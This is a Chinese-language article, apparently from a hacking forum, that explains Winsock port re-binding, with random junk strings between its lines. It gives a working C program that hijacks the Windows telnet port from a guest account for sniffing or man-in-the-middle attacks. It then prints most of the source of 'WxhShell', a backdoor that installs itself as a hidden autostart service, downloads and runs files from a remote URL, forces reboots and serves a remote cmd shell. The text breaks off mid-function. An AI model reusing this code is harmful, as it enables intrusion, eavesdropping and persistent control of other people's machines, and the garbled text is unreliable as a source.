在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
&- p(3$jn7 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
,O:4[M !$w ()|e
xWW saddr.sin_family = AF_INET;
aUMiRm- cUug}/!I saddr.sin_addr.s_addr = htonl(INADDR_ANY);
!\'w>y7 iYLg[J" bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
c^_+<C-F ;ab[YMkH 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
5i6Ji( )P7oL.) 这意味着什么?意味着可以进行如下的攻击:
\ ERBb. <\~@l^lU 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
+IXr4M&3 Ls2,+yo]> 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
Idu'+O4 eV_",W 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
LiEEQ <RxxGD 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
N n_b t]sk[ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
}D1?Z7p HxR5&o 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
F~v0CBcAL F4=X(P_6 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
Ne9VRM
P c*owP #include
g#P]72TQ #include
."Pn[$'. #include
Ks3YrKk;p #include
-wUT@a DWORD WINAPI ClientThread(LPVOID lpParam);
=n.&N
int main()
{U9{*e$= {
*=md!^x` WORD wVersionRequested;
xz`0V}dPl DWORD ret;
[?6+ r WSADATA wsaData;
G9S3r3 BOOL val;
XFFm'W6@ SOCKADDR_IN saddr;
+v%+E{F$+ SOCKADDR_IN scaddr;
.5HD i- int err;
Zp/P/97p SOCKET s;
UaG&HGg]! SOCKET sc;
)l*3^kwL{U int caddsize;
tv-SX=T HANDLE mt;
hXH+C-%{ DWORD tid;
* k\;G? wVersionRequested = MAKEWORD( 2, 2 );
L]YJ#5 err = WSAStartup( wVersionRequested, &wsaData );
E\2f"s if ( err != 0 ) {
% M_F/ O printf("error!WSAStartup failed!\n");
kJ* N`= return -1;
pvWNiW:~k }
PY CG#U saddr.sin_family = AF_INET;
<}^p5| )1R[~]y //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
MHE/#G <&+0[9x saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
(;Bh7Ft saddr.sin_port = htons(23);
6=%\@ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
2UR1T~r {
UN<$F yb printf("error!socket failed!\n");
auB+ g'l return -1;
(wH+ 0 }
C\[:{d val = TRUE;
#.FhN x //SO_REUSEADDR选项就是可以实现端口重绑定的
(Rs;+S if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
&/Gf@[ {
9r:|u:i7m printf("error!setsockopt failed!\n");
\1u^?cBd return -1;
\0*dKgN }
_+Z;pt$C //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
H H3Z?g //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
f4`Nws-dP //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
[+@T"2h2b P e}
T if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
z3^gufOkQ {
>of9m ret=GetLastError();
]:#W$9,WL printf("error!bind failed!\n");
h1Y^+A_ return -1;
tPk>hzW }
^S|}<6~6b listen(s,2);
M )v='O<H8 while(1)
8XCT[X {
ZP:+ '\&J caddsize = sizeof(scaddr);
uxX 3wY;M //接受连接请求
\R
3O39[ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
>kuu\ if(sc!=INVALID_SOCKET)
Vo%ikR # {
juWbd|ad" mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
?>R(;B|ER if(mt==NULL)
<\d`}A:& {
C
szZr>Z printf("Thread Creat Failed!\n");
1vh[sKv9% break;
VYK%0S9yH[ }
A/ Sj>Y1j }
&[|Z2} CloseHandle(mt);
16ip:/5 }
>qMzQw2 closesocket(s);
l:a#B
WSACleanup();
!h^_2IX return 0;
g/!tp;e }
*I9O63 DWORD WINAPI ClientThread(LPVOID lpParam)
nWd;XR6| {
z@<jZM SOCKET ss = (SOCKET)lpParam;
{H=<5 SOCKET sc;
&j"_hFhv unsigned char buf[4096];
1O2V!?P SOCKADDR_IN saddr;
*mw *z|-^V long num;
M^n^wz DWORD val;
|41~U\ DWORD ret;
@E> rqI;` //如果是隐藏端口应用的话,可以在此处加一些判断
}?CKE<#% //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
YvUV9qps~ saddr.sin_family = AF_INET;
-|:mRAe saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
Q}^qu6 saddr.sin_port = htons(23);
I
'ha=PeVn if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
=+VDb5= TV {
msq2/sS~ printf("error!socket failed!\n");
ziQ&M\ return -1;
Wq25, M' }
ayg^js2, val = 100;
V>4v6)N if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
8y4t9V {
b6""q9S! ret = GetLastError();
tt&{f <* return -1;
<`BDN }
;6=*E ' if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
|/u,6` {
5^{2g^jH6 ret = GetLastError();
Sq`Zuu9t return -1;
.;dI&0Z }
"JgwL_2 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
_Q*,~ z~ {
OL.{lKJ3DV printf("error!socket connect failed!\n");
7Xh
;dJAF3 closesocket(sc);
+~xzgaL
closesocket(ss);
,y)V5
c1 return -1;
L7yEgYB }
F~GIfJU while(1)
AI$\wp#aw {
*b`1+~p_2 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
&<(&u`S //如果是嗅探内容的话,可以再此处进行内容分析和记录
5hDm[*83 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
bW GMgC num = recv(ss,buf,4096,0);
Rf!$n7& \ if(num>0)
,}^FV~ send(sc,buf,num,0);
Rz<'&Z>; else if(num==0)
"!#KQ''R break;
yi<H }& num = recv(sc,buf,4096,0);
Jb|dpu/e if(num>0)
k7nke^,| send(ss,buf,num,0);
dFk$rr>q else if(num==0)
$L72%T break;
C5TC@ w1* }
|4Os_*tRKU closesocket(ss);
dp }zG+ closesocket(sc);
7\i> > return 0 ;
DNRWE1P2bg }
:TP\pH 7E 7!
/+[G {afIr1j/m ==========================================================
iG{xDj{CKv #a 4X*X.8c 下边附上一个代码,,WXhSHELL
v|rBOv gS!zaD7Nr ==========================================================
QRdh2YH` P\$%p-G #include "stdafx.h"
\
Ju7.3. <@>l9_=R #include <stdio.h>
}4q1"iMlO #include <string.h>
mfk^t`w_ #include <windows.h>
!wo #include <winsock2.h>
G9~ 4?v6: #include <winsvc.h>
/!pJ" @ #include <urlmon.h>
\[]4rXZN0 N}'2GBqfU4 #pragma comment (lib, "Ws2_32.lib")
I$ ?.9&.& #pragma comment (lib, "urlmon.lib")
3#{Al[jq 5>fAO =u!Q #define MAX_USER 100 // 最大客户端连接数
tf>"fU\P #define BUF_SOCK 200 // sock buffer
55zy]|F" #define KEY_BUFF 255 // 输入 buffer
? RID4xu! Ime"}*9 #define REBOOT 0 // 重启
PebyH"M( #define SHUTDOWN 1 // 关机
]9}^}U1." OyIIJ!( #define DEF_PORT 5000 // 监听端口
eI/5foA [I(
Yn #define REG_LEN 16 // 注册表键长度
;IR.6k$; #define SVC_LEN 80 // NT服务名长度
"6i3'jc` OgCz[QXr_ // 从dll定义API
(J.k\d typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
Ed1y%mR> typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
O_v*,L! typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
8-x)8B typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
1P G"IaOb SL`nt // wxhshell配置信息
Lv<vMIr struct WSCFG {
C/q!! int ws_port; // 监听端口
3 ]pHc)p!. char ws_passstr[REG_LEN]; // 口令
se29IhS!e int ws_autoins; // 安装标记, 1=yes 0=no
rw[Ioyr- char ws_regname[REG_LEN]; // 注册表键名
pzeCdHF char ws_svcname[REG_LEN]; // 服务名
JD]uDuE char ws_svcdisp[SVC_LEN]; // 服务显示名
z2 mjm char ws_svcdesc[SVC_LEN]; // 服务描述信息
`r&]Ydu: char ws_passmsg[SVC_LEN]; // 密码输入提示信息
vywpX^KPv int ws_downexe; // 下载执行标记, 1=yes 0=no
9<5S!?JL char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
pL2{zW`FDh char ws_filenam[SVC_LEN]; // 下载后保存的文件名
nPUD6<bF #cqI0ny?G };
I
MG^L /])P{"v$^ // default Wxhshell configuration
]&X}C{v)G struct WSCFG wscfg={DEF_PORT,
*rA]q' jM "xuhuanlingzhe",
&BN#"- J 1,
A5Lzd "Wxhshell",
0@Z}.k30 "Wxhshell",
Yzw[.(jc} "WxhShell Service",
JgBC:t^\pV "Wrsky Windows CmdShell Service",
EKEJ9Y+47H "Please Input Your Password: ",
'i4L.& 1,
cVDcda|PE "
http://www.wrsky.com/wxhshell.exe",
$t0JfDd6Ky "Wxhshell.exe"
_7'5I A };
upGLZ# &mm!UJ // 消息定义模块
QSOG(}w char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
9A *gW j char *msg_ws_prompt="\n\r? for help\n\r#>";
;?%_jB$P char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
4B)%I` char *msg_ws_ext="\n\rExit.";
[OR"9W& char *msg_ws_end="\n\rQuit.";
6 !wk5# char *msg_ws_boot="\n\rReboot...";
R1(3c*0f char *msg_ws_poff="\n\rShutdown...";
E@4/<;eKK char *msg_ws_down="\n\rSave to ";
.sD=k3d M[(pLYq: char *msg_ws_err="\n\rErr!";
$CZ'[`+ char *msg_ws_ok="\n\rOK!";
<T]ey "egpc*|] char ExeFile[MAX_PATH];
^%!#Q]. int nUser = 0;
y2=yh30L0E HANDLE handles[MAX_USER];
G"h}6Za;DO int OsIsNt;
WWATG= #\\|:`YV SERVICE_STATUS serviceStatus;
<6X*k{ SERVICE_STATUS_HANDLE hServiceStatusHandle;
e0hY w1eFm:' // 函数声明
ER0B{b int Install(void);
`4g}(- int Uninstall(void);
me-uPm int DownloadFile(char *sURL, SOCKET wsh);
ri6KD int Boot(int flag);
<,D*m+BWn void HideProc(void);
_tE55X& int GetOsVer(void);
P~%+KxwZQ int Wxhshell(SOCKET wsl);
&0xM 2J void TalkWithClient(void *cs);
"uFwsjz&B int CmdShell(SOCKET sock);
dg_w$# int StartFromService(void);
'c# }^@G int StartWxhshell(LPSTR lpCmdLine);
U>DCra; F6aC'<#/ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
KtGbpcS$f VOID WINAPI NTServiceHandler( DWORD fdwControl );
: [7O=[pk M=3gV?N // 数据结构和表定义
RGrQ>'RL SERVICE_TABLE_ENTRY DispatchTable[] =
<>728;/C {
6&il> {wscfg.ws_svcname, NTServiceMain},
na"!"C
s3 {NULL, NULL}
T"<)B^8f };
7Gy:T47T\@ wE}Wh5 // 自我安装
=[LorvX+ int Install(void)
216$,4i {
N1B$z3E* char svExeFile[MAX_PATH];
XK})?LTD
HKEY key;
Keem\/ strcpy(svExeFile,ExeFile);
Np aS2q-d IdK<:)Q // 如果是win9x系统,修改注册表设为自启动
!F.h+&^D; if(!OsIsNt) {
PcqS#!t if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Qj*.Z4ue RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
xF@&wg RegCloseKey(key);
`.J17mQe" if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
>H ?k0M`L RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
A\#z<h[> RegCloseKey(key);
1GK>&; return 0;
YV!hlYOBi }
.ws86stFSb }
/(.:l +[w[ }
Rc
&m4|cw7 else {
D
<R_eK G? XS-oSv // 如果是NT以上系统,安装为系统服务
_^NyLI% SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
t"Ah]sD if (schSCManager!=0)
FSn3p}FVa {
6)7cw8^ SC_HANDLE schService = CreateService
gn&Zt}@[ (
)BvMFwQG schSCManager,
Hf\sF(, ( wscfg.ws_svcname,
v?Utz~lQ wscfg.ws_svcdisp,
]!&$&t8. SERVICE_ALL_ACCESS,
Y~e)3e SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
m(*rMO>_ SERVICE_AUTO_START,
n,2
SERVICE_ERROR_NORMAL,
=^i K^) svExeFile,
*3rs+0 NULL,
ft$RF NULL,
-%@ah:iJ NULL,
>7zC-3 NULL,
lo(C3o' NULL
tW/g0lC% );
8|)^m[c& if (schService!=0)
g,rmGu3v {
*BdH
&U CloseServiceHandle(schService);
&N._}ts CloseServiceHandle(schSCManager);
JWI Y0iP strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
&T~X`{V]` strcat(svExeFile,wscfg.ws_svcname);
@OkoT: if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
EK Vcz'w RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
0%dOi
ko RegCloseKey(key);
N2"B\ return 0;
KmTFJ,iM }
w"wW0uE^ }
qz{9ND|) CloseServiceHandle(schSCManager);
fBj)HoHQW }
>36,lNt }
N+@ Ff3M %^L{K[} return 1;
rM"27ud[`_ }
d?T!)w bWAa:
r // 自我卸载
-1RMyVx int Uninstall(void)
zh*D2/r {
FK593z HKEY key;
5a$EXV Hd\V?#H if(!OsIsNt) {
V`1{*PrI@L if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
`SsoRPW&$ RegDeleteValue(key,wscfg.ws_regname);
7XK0vKmW3 RegCloseKey(key);
b%%r`j,'JE if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Cj<8r S4+ RegDeleteValue(key,wscfg.ws_regname);
UaF~[toX RegCloseKey(key);
{MSE}|A\V return 0;
mXOI"B9Sq }
>Vjn]V5y }
!@F { FR }
YnRO>` else {
dN)8r xdgAu SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
^`'\eEa if (schSCManager!=0)
Y~85Z0l {
gS5MoW1 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
_ERtL5^ if (schService!=0)
hdHz", ) {
1o%#kf if(DeleteService(schService)!=0) {
45sEhs[$ CloseServiceHandle(schService);
j<*7p:L7_> CloseServiceHandle(schSCManager);
}7[]d7 return 0;
={sjoMW }
z3K$gEve CloseServiceHandle(schService);
3NLn} }
i[IFD]Xy!j CloseServiceHandle(schSCManager);
Lo{wTYt:J }
ou <3}g }
:5,~CtF5 ` y>aO90wJ return 1;
qBX_v5pvVA }
'-YiV 'E3T fM // 从指定url下载文件
1vj@qw3 int DownloadFile(char *sURL, SOCKET wsh)
rs{)4.I {
Sk cK>i.[ HRESULT hr;
X]p3?"7 char seps[]= "/";
OW4j!W char *token;
tr[}F7n9 char *file;
X$we\t char myURL[MAX_PATH];
# dUKG8-HJ char myFILE[MAX_PATH];
<-`.u` ,%*UF6B
M strcpy(myURL,sURL);
pqb'L] token=strtok(myURL,seps);
kk-<+R2 while(token!=NULL)
S>~f. {
,r w4Lo file=token;
/B@{w-N token=strtok(NULL,seps);
a31e.36g }
id1cZig |VWT4*K GetCurrentDirectory(MAX_PATH,myFILE);
=#Sw.N strcat(myFILE, "\\");
'Z4}O_5_ strcat(myFILE, file);
hi1Ial\Y send(wsh,myFILE,strlen(myFILE),0);
n9+33^ PT send(wsh,"...",3,0);
s Z[[ymu8 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
0vm> *M*p if(hr==S_OK)
hLLSmW( return 0;
:S0! else
5;/n`Bd return 1;
CW
&z?B ra #y:D{%Wp }
g8##Be c a_mift // 系统电源模块
"CJ~BJI% int Boot(int flag)
_Hv+2E[4Z {
PR.3EL HANDLE hToken;
,*XB11P TOKEN_PRIVILEGES tkp;
v.-DXQq ~Kw#^.$3T if(OsIsNt) {
~V8z%s@ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
aZ4EcQ@-$] LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
+)sX8zb*gY tkp.PrivilegeCount = 1;
lA5Dag' tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
n^4R]9U AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
2Cz haO if(flag==REBOOT) {
;|5-{+2 U% if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
$9,&BW_* return 0;
LgNIb }
&W@2n&U.q else {
^z{szy?Fg if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
z$%twBg}# return 0;
'[{<aEo }
UucI>E3?P{ }
X/~uF9a'< else {
b"h'7 C/ if(flag==REBOOT) {
Jbu2y'zE if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
$y8-JR~ return 0;
1D*=ZkA) }
1|MRXK else {
]y0Y ( if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
}<04\t? return 0;
'I]XX==_ }
)!"fUz$ }
+-!E%$ m\`>N_4*9 return 1;
e2O6q05 ?Q }
G\@pg;0|y ]3_b3@k // win9x进程隐藏模块
Y,}_LS$f void HideProc(void)
Jl/w P {
=fcg4h5( KxkBP/`3Q HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
yq%5h[M if ( hKernel != NULL )
u.GnXuax {
1r;zA<<%R pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
*&NP?-E ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
w 9dkJo FreeLibrary(hKernel);
N[e,){v }
`6U!\D ` =>}*GS return;
M13HD/~O }
VzP az\e 3kn-tM // 获取操作系统版本
[;u#79aE int GetOsVer(void)
MR#*/Iw~ {
za_b jE OSVERSIONINFO winfo;
;+9OzF ; winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
sK}AS;: GetVersionEx(&winfo);
Fv$tl)p* if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
4ijtx)SA return 1;
N''QQBUD else
yKc-:IBb{u return 0;
u R0UfKK }
b[74$W{ {X!OK3e // 客户端句柄模块
/WuYg
OI int Wxhshell(SOCKET wsl)
C~ 1] {
PF%-fbh!~ SOCKET wsh;
Ir9GgB struct sockaddr_in client;
Met]|& DWORD myID;
F$7!j$
Z _'=,c" while(nUser<MAX_USER)
3^sbbm.8 {
5;a*Xf%V int nSize=sizeof(client);
IO%kXF.[ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
#EPC]jFk if(wsh==INVALID_SOCKET) return 1;
-YA,Stc- /I%z7f91O handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
n4K!Wv&u if(handles[nUser]==0)
\Vyys[MMY8 closesocket(wsh);
#<*Vc6pC else
~t6q-P nUser++;
$^]K611w9 }
=Hi@q
" WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
^hIdmTf6 Yuvi{ 0 return 0;
]5ZXgz }
,d#*i 8u[_t.y4m // 关闭 socket
![_x/F9 void CloseIt(SOCKET wsh)
'cD?0ou`o {
pQz1!0 closesocket(wsh);
[YDSS/ nUser--;
s3>a ExitThread(0);
kKX' Y+ }
B~]Kqp7yU
Gl~l // 客户端请求句柄
s)^/3a void TalkWithClient(void *cs)
={BD*=i {
j q+(2 #HUn~r SOCKET wsh=(SOCKET)cs;
yXJhOCa char pwd[SVC_LEN];
x?h/e; char cmd[KEY_BUFF];
9K+>;` char chr[1];
2\xw2VQ@P int i,j;
ATs_d_Sz K`4lL5oH while (nUser < MAX_USER) {
{r^_ g(.q :Jd7q. if(wscfg.ws_passstr) {
4V+bE$Wu if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
c!6D{(sfh //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Itl8#LpLM //ZeroMemory(pwd,KEY_BUFF);
l1 +l@r\ i=0;
f"MID6 while(i<SVC_LEN) {
o@:"3s - x // 设置超时
9[0iIT$q$ fd_set FdRead;
v] m/$X2 struct timeval TimeOut;
NoI|Dz FD_ZERO(&FdRead);
-,J<X\ FD_SET(wsh,&FdRead);
{2\Y%Y'}* TimeOut.tv_sec=8;
R<|\Z@z TimeOut.tv_usec=0;
].d2C J' int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
@^,q/%; if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
vm [lMx `^M]|7 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
IskL$Y ^
pwd
=chr[0]; kCBtK?g
if(chr[0]==0xd || chr[0]==0xa) { ! ]4u"e
pwd=0; zoq;3a5cqB
break; E]V,
@
} (,|,j(=]
i++; Bkcwl
} z*.AuEK?
aKI"<%PNn
// 如果是非法用户,关闭 socket y=3 dGOFB
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); P>/:dt'GJ}
} j\y;~
V
Ymut]`dX
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); @C;1e7
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +f3Rzx]
opcanl9pSW
while(1) { v:O{"s
'/\
ZeroMemory(cmd,KEY_BUFF); `+H=3`}X
A7p4M?09
// 自动支持客户端 telnet标准 GBJLB
j=0; cO?*(e1m=
while(j<KEY_BUFF) { 74%vNKzc~
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~1G^IZ6
cmd[j]=chr[0]; ptCF))Zm'
if(chr[0]==0xa || chr[0]==0xd) { \:vF FK4a
cmd[j]=0; "{0G,tdA
break; Ot=>~(u0
} .3
EZk86
j++; ;n&95t1$
} 8_Oeui(i
"j>X^vn
// 下载文件 {R1]tGOf
if(strstr(cmd,"http://")) { rOJ>lPs
send(wsh,msg_ws_down,strlen(msg_ws_down),0); Y=S0|!u
if(DownloadFile(cmd,wsh)) 5KCQvv\
send(wsh,msg_ws_err,strlen(msg_ws_err),0);
s*uA3}j
else i<uU_g'M
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q;{(o2g
} v+ $3
else { }\a#e^-xQ+
4I4m4^
switch(cmd[0]) { 6N/(cUXJ
ghQ B
// 帮助 ?t/qaUXN
case '?': { iOfm:DTPr
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); l}nV WuD
break;
}x'*3zI
} 6)INr,d
// 安装 YvY|\2^K
case 'i': { =z1Lim-
if(Install()) QV|6"4\
send(wsh,msg_ws_err,strlen(msg_ws_err),0); JPI%{@Qc^
else 6 @f>
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vs@d)$N
break; ETDWG_H |
} :V/".K-:J
// 卸载 6H#:rM
case 'r': { wE
.H:q4&
if(Uninstall()) Ev fvU:z
send(wsh,msg_ws_err,strlen(msg_ws_err),0); HE}0_x.
else mxlh\'b
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Xaz "!
break; [4Q;(67
} [&TF]az
// 显示 wxhshell 所在路径 |<W$rzM
case 'p': { @Q1!xA^S
char svExeFile[MAX_PATH]; 8JLf @C:
strcpy(svExeFile,"\n\r"); J0sD?V|{1~
strcat(svExeFile,ExeFile); z{XB_j6\=
send(wsh,svExeFile,strlen(svExeFile),0); /@LkH$
break; ing'' _
} o "z()w~
// 重启 /|EdpHx0
case 'b': { 4D65VgVDM
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 1*O|[W
if(Boot(REBOOT)) 0]d;)_`@
send(wsh,msg_ws_err,strlen(msg_ws_err),0); [YvS#M3T
else { kowS| c#
closesocket(wsh); a;o0#I#Si
ExitThread(0); E ,i^rA m
} 4$-R|@,|_
break; I;4quFBlMu
} gawY{Jr8I
// 关机 !j!w$
case 'd': { Y9.3`VX
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 2Zu9?
L ,I
if(Boot(SHUTDOWN)) dL42)HP5
send(wsh,msg_ws_err,strlen(msg_ws_err),0); {"o9pIh{~
else { *@rA7zPFf
closesocket(wsh); ]d*9@+Iu
ExitThread(0); d1~#@6CIz
} !W}sOK7#
break; \h
~_<)
} #*(}%!rD*
// 获取shell ;4O[/;i
case 's': { !)a_@d.;i
CmdShell(wsh); )fJ"Hq
closesocket(wsh); Du_5iuMh
ExitThread(0); ay8]"sa
break; cAR
`{%b
} k*1Lr\1
// 退出 xe@e#9N$
case 'x': { :82T!
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); #:6-O
CloseIt(wsh); 7Ae`>5B#
break; 45~x
#Q
} l b(
// 离开 0|e[o"
case 'q': { n Bm ]?
send(wsh,msg_ws_end,strlen(msg_ws_end),0); [F<E0rjwM
closesocket(wsh); (]@S<0
WSACleanup(); *7Vb([x4;
exit(1); BA\aVhmx
break; eRUdPPq_d
} <Jgcj4D
} YZ~MByu
} 6A"$9sj6
w =GMQ8
// 提示信息 'z}
t= ?
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0U=wGIO
} $N?8[
} O:?3B!wF
;yNc7Vl
return; $PJ==N
} ZTR9e\F
N
R
c4*zQJ
// shell模块句柄 < $zJi V
int CmdShell(SOCKET sock) 'lIs`Zc5N
{ n>ryS/1
STARTUPINFO si; '/O:@P5qY
ZeroMemory(&si,sizeof(si)); MCN>3/81
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ']k<'`b|
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; =j>xu|q
PROCESS_INFORMATION ProcessInfo; x80IS:TP
char cmdline[]="cmd"; %+*=Vr
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); VR(R.
return 0; |4\1V=(
} '#6eUb
ny-:%A
// 自身启动模式 t:10
int StartFromService(void) aUw-P{zp%
{ "L3mW=!*
typedef struct LS~at.3zX
{ Ph3;;,v '
DWORD ExitStatus; 53t_#Yte
DWORD PebBaseAddress; ,`t+X=#
DWORD AffinityMask; [c{\el9H
DWORD BasePriority; MblRdj6
ULONG UniqueProcessId; a_Y<daRO
ULONG InheritedFromUniqueProcessId; x2!R&q8U>
} PROCESS_BASIC_INFORMATION; K P]ar.
U9oUY> 9
